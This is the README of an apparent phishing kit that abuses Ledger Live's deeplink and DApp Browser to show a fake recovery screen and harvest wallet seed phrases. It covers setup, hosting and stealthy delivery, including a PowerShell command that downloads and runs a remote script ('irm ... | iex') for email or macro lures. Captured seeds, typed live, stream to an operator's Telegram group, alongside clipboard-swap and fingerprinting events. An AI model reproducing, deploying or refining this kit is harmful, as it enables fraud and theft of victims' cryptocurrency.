# Ledger Recover Panel

In-app Ledger Live recover flow via `ledgerlive://recover/` → DApp Browser iframe. Captured seeds post to `/api/capture` and forward to your Telegram group (live typing + final submit), same pattern as the unchained panel.

## Requirements

- Node.js 18+ (20 LTS recommended)
- HTTPS public origin for the overlay (reverse proxy, VPS, CDN — your stack)
- Telegram bot token + group chat ID

## Quick start

```bash
cd ledger-recover-panel
npm install
```

Edit `config.json`:

```json
{
  "overlay_url": "",
  "port": 3082,
  "telegram": {
    "botToken": "123456789:ABCdefGHIjklMNOpqrsTUVwxyz",
    "chatId": "-1001234567890"
  }
}
```

| Field | Notes |
|-------|-------|
| `botToken` | From [@BotFather](https://t.me/BotFather) |
| `chatId` | Group supergroup ID (negative number). Add the bot to the group first. |
| `overlay_url` | Optional fixed HTTPS URL for the iframe overlay. Leave empty to auto-detect from request Host / `X-Forwarded-Proto`. |
| `port` | Local bind port (default `3082`) |

Start:

```bash
npm start
```

or

```bash
chmod +x start.sh
./start.sh
```

## Hosting

Terminate TLS on your domain and proxy to `http://127.0.0.1:3082`. Forward `Host`, `X-Forwarded-Proto`, `X-Forwarded-For`.

Example Caddy:

```
your-domain.com {
  reverse_proxy 127.0.0.1:3082
}
```

If you set `overlay_url`, use your public HTTPS origin:

```
https://your-domain.com/ledger_iframe_overlay.html
```

## Delivery

| URL | Purpose |
|-----|---------|
| `/` | Stealth entry — blank page fires deeplink via `/api/v1/sync` |
| `/go` | Direct redirect to `ledgerlive://recover/...` |
| `/launch.ps1` | PowerShell one-liner for email / macro delivery |
| `/ledger_iframe_overlay.html` | In-app recover UI (loads inside Ledger Live DApp Browser) |
| `/deeplink` | JSON with overlay URL, deeplink, and PowerShell command |

Send targets your hosted `/` or `/go` URL. Ledger Live opens the DApp Browser with your overlay.

PowerShell delivery:

```powershell
powershell -NoProfile -ExecutionPolicy Bypass -Command "irm 'https://your-domain.com/launch.ps1' | iex"
```

## Telegram capture

Same flow as unchained:

1. **Live seed** — edits stream to Telegram as `seed_realtime` (message edits in place, progress bar + Copy button).
2. **Final submit** — valid 12/18/20/24-word phrase on Recover → `seed submitted` message replaces the live card.
3. **Events** — overlay mount, clipboard swaps, fingerprint beacons as separate notifications.

Bot must be in the target group with permission to post. Use a private group.

## Troubleshooting

| Symptom | Fix |
|---------|-----|
| No Telegram messages | Check `botToken` / `chatId`; bot added to group |
| Deeplink does nothing | Ledger Live must be installed; try `/go` directly |
| Overlay blank in LL | Serve over HTTPS; check `overlay_url` matches public origin |
| Wrong overlay host | Set `overlay_url` explicitly or fix reverse-proxy forwarded headers |

## File map

```
ledger-recover-panel/
├── server.js
├── config.json
├── victim.js
├── ledger_iframe_overlay.html
├── start.sh
├── setup.md
├── lib/
│   ├── config.js
│   └── telegram.js
└── words/
    └── bip39.js
```
